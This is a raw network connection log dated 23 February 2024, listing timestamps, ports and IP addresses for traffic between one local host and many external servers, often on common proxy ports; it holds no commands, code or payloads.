Feb 23, 2024 14:28:23.371898890 CET	50801	80	192.168.2.8	172.67.182.102
Feb 23, 2024 14:28:23.371984959 CET	50860	15673	192.168.2.8	43.153.133.208
Feb 23, 2024 14:28:23.372036934 CET	4145	49932	174.75.211.222	192.168.2.8
Feb 23, 2024 14:28:23.372437954 CET	49932	4145	192.168.2.8	174.75.211.222
Feb 23, 2024 14:28:23.372612953 CET	80	50805	104.19.235.10	192.168.2.8
Feb 23, 2024 14:28:23.372620106 CET	49932	4145	192.168.2.8	174.75.211.222
Feb 23, 2024 14:28:23.372697115 CET	50805	80	192.168.2.8	104.19.235.10
Feb 23, 2024 14:28:23.372769117 CET	50805	80	192.168.2.8	104.19.235.10
Feb 23, 2024 14:28:23.373270035 CET	50861	80	192.168.2.8	104.22.50.220
Feb 23, 2024 14:28:23.375181913 CET	50862	80	192.168.2.8	3.12.178.169
Feb 23, 2024 14:28:23.376681089 CET	999	50080	181.65.169.35	192.168.2.8
Feb 23, 2024 14:28:23.376722097 CET	50863	3128	192.168.2.8	168.138.21.250
Feb 23, 2024 14:28:23.378017902 CET	50864	1080	192.168.2.8	110.235.250.155
Feb 23, 2024 14:28:23.378391027 CET	50865	8088	192.168.2.8	47.243.177.210
Feb 23, 2024 14:28:23.380069971 CET	50866	3128	192.168.2.8	154.202.112.72
Feb 23, 2024 14:28:23.380635023 CET	999	50743	191.97.16.160	192.168.2.8
Feb 23, 2024 14:28:23.380764961 CET	8081	50559	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.380978107 CET	50559	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:23.380984068 CET	8081	50559	193.239.58.92	192.168.2.8
Feb 23, 2024 14:28:23.382173061 CET	80	50820	104.16.195.74	192.168.2.8
Feb 23, 2024 14:28:23.382221937 CET	50218	1081	192.168.2.8	125.228.77.228
Feb 23, 2024 14:28:23.382224083 CET	49987	3128	192.168.2.8	18.135.211.182
Feb 23, 2024 14:28:23.382226944 CET	50011	43949	192.168.2.8	190.82.105.123
Feb 23, 2024 14:28:23.382246971 CET	49898	80	192.168.2.8	50.169.118.211
Feb 23, 2024 14:28:23.382249117 CET	50161	5678	192.168.2.8	119.92.71.123
Feb 23, 2024 14:28:23.382249117 CET	50013	50806	192.168.2.8	103.5.127.213
Feb 23, 2024 14:28:23.382252932 CET	50286	80	192.168.2.8	50.174.145.15
Feb 23, 2024 14:28:23.382252932 CET	50087	7302	192.168.2.8	60.215.109.34
Feb 23, 2024 14:28:23.382268906 CET	50024	80	192.168.2.8	82.64.77.30
Feb 23, 2024 14:28:23.382270098 CET	50016	3128	192.168.2.8	149.102.148.170
Feb 23, 2024 14:28:23.382270098 CET	50020	1976	192.168.2.8	88.255.64.91
Feb 23, 2024 14:28:23.382272959 CET	50018	80	192.168.2.8	103.157.219.4
Feb 23, 2024 14:28:23.382299900 CET	50820	80	192.168.2.8	104.16.195.74
Feb 23, 2024 14:28:23.382302046 CET	50027	80	192.168.2.8	189.250.135.40
Feb 23, 2024 14:28:23.382637978 CET	50820	80	192.168.2.8	104.16.195.74
Feb 23, 2024 14:28:23.383157015 CET	4145	49910	1.2.221.134	192.168.2.8
Feb 23, 2024 14:28:23.384278059 CET	80	50623	104.23.100.73	192.168.2.8
Feb 23, 2024 14:28:23.384424925 CET	26719	49826	162.210.192.136	192.168.2.8
Feb 23, 2024 14:28:23.384632111 CET	80	50370	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.384974957 CET	80	50370	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.385500908 CET	80	50420	184.169.154.119	192.168.2.8
Feb 23, 2024 14:28:23.387455940 CET	80	50417	18.133.16.21	192.168.2.8
Feb 23, 2024 14:28:23.388300896 CET	80	50726	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.388386965 CET	50726	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.388602018 CET	3128	50591	13.37.59.99	192.168.2.8
Feb 23, 2024 14:28:23.388637066 CET	50420	80	192.168.2.8	184.169.154.119
Feb 23, 2024 14:28:23.389519930 CET	50417	80	192.168.2.8	18.133.16.21
Feb 23, 2024 14:28:23.389992952 CET	80	50632	185.162.228.128	192.168.2.8
Feb 23, 2024 14:28:23.392503977 CET	5678	50696	212.200.161.241	192.168.2.8
Feb 23, 2024 14:28:23.393930912 CET	48744	49965	182.160.127.53	192.168.2.8
Feb 23, 2024 14:28:23.393985987 CET	6467	50590	107.181.141.70	192.168.2.8
Feb 23, 2024 14:28:23.394805908 CET	3128	50591	13.37.59.99	192.168.2.8
Feb 23, 2024 14:28:23.395286083 CET	80	50836	134.122.26.11	192.168.2.8
Feb 23, 2024 14:28:23.395391941 CET	50591	3128	192.168.2.8	13.37.59.99
Feb 23, 2024 14:28:23.395551920 CET	50836	80	192.168.2.8	134.122.26.11
Feb 23, 2024 14:28:23.395821095 CET	50836	80	192.168.2.8	134.122.26.11
Feb 23, 2024 14:28:23.396434069 CET	15419	50604	104.238.111.107	192.168.2.8
Feb 23, 2024 14:28:23.396547079 CET	4145	50757	68.1.210.189	192.168.2.8
Feb 23, 2024 14:28:23.396650076 CET	37355	50171	167.172.109.12	192.168.2.8
Feb 23, 2024 14:28:23.396776915 CET	50757	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:23.396953106 CET	50757	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:23.397145987 CET	80	50642	188.114.99.171	192.168.2.8
Feb 23, 2024 14:28:23.397854090 CET	50269	46523	192.168.2.8	167.99.39.82
Feb 23, 2024 14:28:23.397870064 CET	50017	9445	192.168.2.8	146.190.84.209
Feb 23, 2024 14:28:23.397877932 CET	50019	30389	192.168.2.8	91.150.189.122
Feb 23, 2024 14:28:23.397878885 CET	49822	3128	192.168.2.8	132.145.61.202
Feb 23, 2024 14:28:23.397893906 CET	50032	4153	192.168.2.8	45.7.210.203
Feb 23, 2024 14:28:23.397896051 CET	50034	8080	192.168.2.8	186.103.130.93
Feb 23, 2024 14:28:23.397898912 CET	50021	3128	192.168.2.8	150.136.120.240
Feb 23, 2024 14:28:23.397907972 CET	50036	53242	192.168.2.8	162.0.220.222
Feb 23, 2024 14:28:23.397911072 CET	50108	8089	192.168.2.8	114.106.135.102
Feb 23, 2024 14:28:23.397914886 CET	50041	15303	192.168.2.8	184.178.172.5
Feb 23, 2024 14:28:23.397924900 CET	50040	8080	192.168.2.8	84.204.40.155
Feb 23, 2024 14:28:23.397929907 CET	50023	4153	192.168.2.8	46.48.126.226
Feb 23, 2024 14:28:23.397929907 CET	50022	8879	192.168.2.8	91.134.140.160
Feb 23, 2024 14:28:23.397929907 CET	50031	60083	192.168.2.8	148.66.130.187
Feb 23, 2024 14:28:23.397958040 CET	50028	8082	192.168.2.8	103.191.196.44
Feb 23, 2024 14:28:23.397994041 CET	50043	1080	192.168.2.8	5.252.23.249
Feb 23, 2024 14:28:23.398000956 CET	50042	80	192.168.2.8	94.198.40.18
Feb 23, 2024 14:28:23.398030043 CET	50033	21525	192.168.2.8	209.126.104.38
Feb 23, 2024 14:28:23.398467064 CET	4145	50719	109.236.47.242	192.168.2.8
Feb 23, 2024 14:28:23.398751020 CET	50559	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:23.399709940 CET	50726	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.400480032 CET	50867	80	192.168.2.8	50.222.245.43
Feb 23, 2024 14:28:23.400784016 CET	50868	8081	192.168.2.8	193.239.58.92
Feb 23, 2024 14:28:23.401185036 CET	80	50315	58.234.116.197	192.168.2.8
Feb 23, 2024 14:28:23.401377916 CET	80	50315	58.234.116.197	192.168.2.8
Feb 23, 2024 14:28:23.401469946 CET	80	50315	58.234.116.197	192.168.2.8
Feb 23, 2024 14:28:23.401532888 CET	50315	80	192.168.2.8	58.234.116.197
Feb 23, 2024 14:28:23.401603937 CET	4145	49941	174.77.111.196	192.168.2.8
Feb 23, 2024 14:28:23.401695013 CET	50315	80	192.168.2.8	58.234.116.197
Feb 23, 2024 14:28:23.402153969 CET	49941	4145	192.168.2.8	174.77.111.196
Feb 23, 2024 14:28:23.402158976 CET	80	50648	172.67.182.38	192.168.2.8
Feb 23, 2024 14:28:23.402807951 CET	80	50221	50.222.245.44	192.168.2.8
Feb 23, 2024 14:28:23.403774977 CET	80	50750	104.18.81.76	192.168.2.8
Feb 23, 2024 14:28:23.403781891 CET	80	50647	104.21.64.208	192.168.2.8
Feb 23, 2024 14:28:23.403827906 CET	80	50750	104.18.81.76	192.168.2.8
Feb 23, 2024 14:28:23.404413939 CET	80	50750	104.18.81.76	192.168.2.8
Feb 23, 2024 14:28:23.404480934 CET	50750	80	192.168.2.8	104.18.81.76
Feb 23, 2024 14:28:23.406035900 CET	31280	50601	82.113.157.122	192.168.2.8
Feb 23, 2024 14:28:23.406205893 CET	44957	50784	132.148.244.30	192.168.2.8
Feb 23, 2024 14:28:23.406969070 CET	31280	50601	82.113.157.122	192.168.2.8
Feb 23, 2024 14:28:23.407078981 CET	50601	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.407079935 CET	50784	44957	192.168.2.8	132.148.244.30
Feb 23, 2024 14:28:23.408031940 CET	15084	50758	51.75.125.208	192.168.2.8
Feb 23, 2024 14:28:23.409111023 CET	50758	15084	192.168.2.8	51.75.125.208
Feb 23, 2024 14:28:23.412044048 CET	14681	49853	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:23.412378073 CET	1731	49857	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:23.413487911 CET	50039	55443	192.168.2.8	197.232.65.40
Feb 23, 2024 14:28:23.413494110 CET	50227	42580	192.168.2.8	175.139.179.65
Feb 23, 2024 14:28:23.413492918 CET	50030	5678	192.168.2.8	37.52.13.164
Feb 23, 2024 14:28:23.413511992 CET	49921	19713	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:23.413520098 CET	49821	48057	192.168.2.8	75.119.145.169
Feb 23, 2024 14:28:23.413523912 CET	50046	1080	192.168.2.8	203.19.38.114
Feb 23, 2024 14:28:23.413523912 CET	50045	8080	192.168.2.8	102.68.128.216
Feb 23, 2024 14:28:23.413542986 CET	50047	4145	192.168.2.8	184.181.217.220
Feb 23, 2024 14:28:23.413542986 CET	50050	3131	192.168.2.8	109.24.132.215
Feb 23, 2024 14:28:23.413544893 CET	50053	4153	192.168.2.8	103.79.96.193
Feb 23, 2024 14:28:23.413547039 CET	50049	3128	192.168.2.8	198.176.54.34
Feb 23, 2024 14:28:23.413547039 CET	50059	1080	192.168.2.8	188.255.244.9
Feb 23, 2024 14:28:23.413579941 CET	80	50742	50.204.219.225	192.168.2.8
Feb 23, 2024 14:28:23.413614035 CET	50060	65149	192.168.2.8	67.213.210.118
Feb 23, 2024 14:28:23.414660931 CET	49941	4145	192.168.2.8	174.77.111.196
Feb 23, 2024 14:28:23.414663076 CET	50784	44957	192.168.2.8	132.148.244.30
Feb 23, 2024 14:28:23.414948940 CET	8080	50191	5.78.44.6	192.168.2.8
Feb 23, 2024 14:28:23.414949894 CET	50758	15084	192.168.2.8	51.75.125.208
Feb 23, 2024 14:28:23.415079117 CET	50601	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.415193081 CET	50750	80	192.168.2.8	104.18.81.76
Feb 23, 2024 14:28:23.415548086 CET	50869	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.416255951 CET	8291	50733	164.163.21.14	192.168.2.8
Feb 23, 2024 14:28:23.416337967 CET	50733	8291	192.168.2.8	164.163.21.14
Feb 23, 2024 14:28:23.416467905 CET	80	50658	213.143.113.82	192.168.2.8
Feb 23, 2024 14:28:23.416699886 CET	50733	8291	192.168.2.8	164.163.21.14
Feb 23, 2024 14:28:23.417309999 CET	8080	50609	8.213.128.6	192.168.2.8
Feb 23, 2024 14:28:23.417531013 CET	50609	8080	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:23.417768002 CET	50609	8080	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:23.419258118 CET	50870	5678	192.168.2.8	113.160.203.118
Feb 23, 2024 14:28:23.419516087 CET	8081	50736	212.127.93.185	192.168.2.8
Feb 23, 2024 14:28:23.419789076 CET	50736	8081	192.168.2.8	212.127.93.185
Feb 23, 2024 14:28:23.419789076 CET	50736	8081	192.168.2.8	212.127.93.185
Feb 23, 2024 14:28:23.420352936 CET	80	50764	104.23.107.172	192.168.2.8
Feb 23, 2024 14:28:23.420514107 CET	80	50764	104.23.107.172	192.168.2.8
Feb 23, 2024 14:28:23.420702934 CET	50764	80	192.168.2.8	104.23.107.172
Feb 23, 2024 14:28:23.421107054 CET	50871	26077	192.168.2.8	72.10.160.92
Feb 23, 2024 14:28:23.421794891 CET	80	50764	104.23.107.172	192.168.2.8
Feb 23, 2024 14:28:23.421952009 CET	50764	80	192.168.2.8	104.23.107.172
Feb 23, 2024 14:28:23.422251940 CET	80	50662	172.64.152.98	192.168.2.8
Feb 23, 2024 14:28:23.424555063 CET	4145	50607	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:23.424726963 CET	4145	50607	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:23.425406933 CET	50872	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:23.425792933 CET	50873	5678	192.168.2.8	117.241.128.44
Feb 23, 2024 14:28:23.428488970 CET	50874	8080	192.168.2.8	178.212.48.80
Feb 23, 2024 14:28:23.428575993 CET	80	50778	45.12.31.104	192.168.2.8
Feb 23, 2024 14:28:23.428584099 CET	80	50778	45.12.31.104	192.168.2.8
Feb 23, 2024 14:28:23.428777933 CET	50778	80	192.168.2.8	45.12.31.104
Feb 23, 2024 14:28:23.429085970 CET	50055	8089	192.168.2.8	183.165.248.145
Feb 23, 2024 14:28:23.429088116 CET	50056	80	192.168.2.8	78.28.152.113
Feb 23, 2024 14:28:23.429101944 CET	50054	3128	192.168.2.8	27.112.78.34
Feb 23, 2024 14:28:23.429104090 CET	50061	999	192.168.2.8	45.162.135.201
Feb 23, 2024 14:28:23.429121971 CET	50340	80	192.168.2.8	50.174.7.157
Feb 23, 2024 14:28:23.429122925 CET	49740	3128	192.168.2.8	79.132.192.13
Feb 23, 2024 14:28:23.429140091 CET	50064	48678	192.168.2.8	180.131.242.221
Feb 23, 2024 14:28:23.429140091 CET	50057	5678	192.168.2.8	159.224.187.170
Feb 23, 2024 14:28:23.429140091 CET	50067	5678	192.168.2.8	154.79.250.48
Feb 23, 2024 14:28:23.429239988 CET	50069	999	192.168.2.8	179.49.162.133
Feb 23, 2024 14:28:23.429240942 CET	50068	8080	192.168.2.8	213.149.182.98
Feb 23, 2024 14:28:23.429474115 CET	80	50778	45.12.31.104	192.168.2.8
Feb 23, 2024 14:28:23.429492950 CET	1080	50185	31.172.189.205	192.168.2.8
Feb 23, 2024 14:28:23.429614067 CET	50778	80	192.168.2.8	45.12.31.104
Feb 23, 2024 14:28:23.430131912 CET	10121	49865	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:23.431047916 CET	3129	50219	20.219.177.73	192.168.2.8
Feb 23, 2024 14:28:23.431082010 CET	3129	50219	20.219.177.73	192.168.2.8
Feb 23, 2024 14:28:23.431133986 CET	3129	50219	20.219.177.73	192.168.2.8
Feb 23, 2024 14:28:23.431142092 CET	3129	50219	20.219.177.73	192.168.2.8
Feb 23, 2024 14:28:23.431164980 CET	50219	3129	192.168.2.8	20.219.177.73
Feb 23, 2024 14:28:23.431193113 CET	50219	3129	192.168.2.8	20.219.177.73
Feb 23, 2024 14:28:23.432044983 CET	8080	50392	185.38.111.1	192.168.2.8
Feb 23, 2024 14:28:23.432050943 CET	8080	50392	185.38.111.1	192.168.2.8
Feb 23, 2024 14:28:23.432166100 CET	50392	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.433092117 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:23.433111906 CET	50392	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.435127974 CET	50198	3128	192.168.2.8	34.83.143.6
Feb 23, 2024 14:28:23.435503006 CET	4479	50846	67.43.227.227	192.168.2.8
Feb 23, 2024 14:28:23.435575008 CET	3080	49802	5.9.98.142	192.168.2.8
Feb 23, 2024 14:28:23.435873985 CET	50219	3129	192.168.2.8	20.219.177.73
Feb 23, 2024 14:28:23.435874939 CET	50875	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.436572075 CET	4153	50156	82.194.133.209	192.168.2.8
Feb 23, 2024 14:28:23.437262058 CET	50876	999	192.168.2.8	177.93.44.53
Feb 23, 2024 14:28:23.440354109 CET	50877	16379	192.168.2.8	51.15.230.100
Feb 23, 2024 14:28:23.440363884 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440371037 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440398932 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440464973 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440471888 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440485001 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440500021 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.440538883 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440570116 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.440602064 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440608978 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440623999 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440656900 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.440685034 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440687895 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.440706968 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440763950 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.440809965 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440818071 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440851927 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440860033 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440891027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440926075 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.440937042 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440967083 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.440993071 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441030025 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441031933 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441050053 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441063881 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441095114 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441106081 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441121101 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441139936 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441174984 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441189051 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441231966 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441289902 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441329956 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441343069 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441363096 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441380978 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441401005 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441447973 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441463947 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441471100 CET	58754	50849	92.204.135.4	192.168.2.8
Feb 23, 2024 14:28:23.441485882 CET	32650	50382	91.108.130.111	192.168.2.8
Feb 23, 2024 14:28:23.441497087 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441543102 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441557884 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441576958 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441613913 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441639900 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441641092 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441669941 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441710949 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441719055 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441766024 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441766977 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441798925 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441836119 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441843033 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441852093 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441881895 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441901922 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441920996 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441930056 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441962004 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441982985 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.441992998 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.441999912 CET	80	50689	104.16.108.204	192.168.2.8
Feb 23, 2024 14:28:23.442056894 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442071915 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442102909 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442117929 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442140102 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442158937 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442162037 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442181110 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442190886 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442248106 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442256927 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442261934 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442295074 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442327023 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442363024 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442379951 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442392111 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442435026 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442476034 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442497969 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442517996 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442521095 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442568064 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442576885 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442629099 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442642927 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442662001 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442663908 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442684889 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442704916 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442713022 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442723036 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442737103 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442764997 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442785025 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442787886 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442810059 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442830086 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442838907 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442857027 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442895889 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442909002 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442919016 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.442930937 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.442996025 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.443003893 CET	3128	50596	103.176.179.84	192.168.2.8
Feb 23, 2024 14:28:23.443010092 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.443110943 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.444717884 CET	50063	30026	192.168.2.8	104.238.111.107
Feb 23, 2024 14:28:23.444797039 CET	50357	31871	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:23.444802046 CET	49722	80	192.168.2.8	103.75.117.79
Feb 23, 2024 14:28:23.445105076 CET	50878	3128	192.168.2.8	5.252.23.206
Feb 23, 2024 14:28:23.445348978 CET	3128	50767	191.252.101.46	192.168.2.8
Feb 23, 2024 14:28:23.445497036 CET	80	50740	50.239.72.16	192.168.2.8
Feb 23, 2024 14:28:23.445765018 CET	50767	3128	192.168.2.8	191.252.101.46
Feb 23, 2024 14:28:23.445769072 CET	7497	49933	68.183.88.14	192.168.2.8
Feb 23, 2024 14:28:23.447419882 CET	50879	80	192.168.2.8	50.170.90.31
Feb 23, 2024 14:28:23.448575020 CET	9764	50797	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.448669910 CET	50797	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.448873997 CET	50880	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.448873997 CET	50797	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.449021101 CET	9764	50797	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.449346066 CET	80	50190	50.204.190.234	192.168.2.8
Feb 23, 2024 14:28:23.449368954 CET	50881	4153	192.168.2.8	213.7.196.26
Feb 23, 2024 14:28:23.449913979 CET	8080	50029	103.216.50.11	192.168.2.8
Feb 23, 2024 14:28:23.450753927 CET	50882	33140	192.168.2.8	192.81.225.9
Feb 23, 2024 14:28:23.451420069 CET	8080	49743	82.135.123.155	192.168.2.8
Feb 23, 2024 14:28:23.451689005 CET	49743	8080	192.168.2.8	82.135.123.155
Feb 23, 2024 14:28:23.451809883 CET	1080	50594	27.65.30.37	192.168.2.8
Feb 23, 2024 14:28:23.452023029 CET	50594	1080	192.168.2.8	27.65.30.37
Feb 23, 2024 14:28:23.452094078 CET	50594	1080	192.168.2.8	27.65.30.37
Feb 23, 2024 14:28:23.453109980 CET	50883	4145	192.168.2.8	197.234.13.82
Feb 23, 2024 14:28:23.453775883 CET	49524	50052	36.67.27.189	192.168.2.8
Feb 23, 2024 14:28:23.453789949 CET	49524	50052	36.67.27.189	192.168.2.8
